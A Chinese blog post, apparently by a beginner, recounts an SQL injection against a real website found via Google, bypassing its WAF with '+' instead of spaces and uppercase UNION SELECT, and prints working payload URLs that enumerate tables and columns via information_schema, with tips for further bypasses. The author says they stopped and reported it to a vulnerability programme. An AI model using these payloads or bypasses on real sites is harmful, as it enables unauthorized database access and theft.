一次简单的SQL注入绕WAF

本人也是小白一枚 , 大佬请绕过 , 这个其实是六月份的时候做的 , 那时候想多点实战经验 , 就直接用谷歌搜索找了一些网站 , 这个是其中一个
1、目标网站

一次简单的SQL注入绕WAF

文章插图
 
2、发现有WAF防护
一次简单的SQL注入绕WAF

文章插图
 
 
3、判断存在注入
一次简单的SQL注入绕WAF

文章插图
 
 
 4、猜测了一下闭合为",果真是"闭合 , 而且没有触发WAF , 感觉还挺幸运的
一次简单的SQL注入绕WAF

文章插图
 
 
 5、尝试使用 order by判断当前数据库的字段数为20 , 本来以为WAF会拦截 , 发现也没有拦截
一次简单的SQL注入绕WAF

文章插图
 
 
 6、判断显示位 , 这次直接被拦截了
一次简单的SQL注入绕WAF

文章插图
 
 
 7、绕WAF , 通过使用(+)代替空格的方法绕过WAF的拦截 , 并大写UNION SELECT , 判断出显错点为5和10
一次简单的SQL注入绕WAF

文章插图
 
 
  8、查询数据库用户名和数据库名
一次简单的SQL注入绕WAF

文章插图
 
 
 9、查询当前数据库表名 , 列名
【一次简单的SQL注入绕WAF】查询表名 http://www.****.com/product.php?sid=80&id=-218%27+UNION+SELECT+1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
+from+information_schema.tables+where+table_schema=database()+%23
 
一次简单的SQL注入绕WAF

文章插图
 
 
查询列名 http://www.****.com/product.php?sid=80&id=-218%27+UNION+SELECT+1,2,3,4,column_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
+from+information_schema.columns+where+table_name=%27s1_ad1%27+limit+1,1%20+%23
一次简单的SQL注入绕WAF

文章插图
 
 
 点到为止嘛没有继续下去了 , 然后直接交公益src了 , 其实显错点10也可以同显错点5一样的操作查询处库名表名列名到最后的字段内容 , 还可以用group_concat()这个函数查询出多个数据库名 , 不过试了一下WAF拦截了 , 可以尝试替换等价函数或者其他方法啊应该也是可以绕过WAF的,不行的话 , 也可以尝试用burp抓包跑出表名 , 列名 , 字段名




    推荐阅读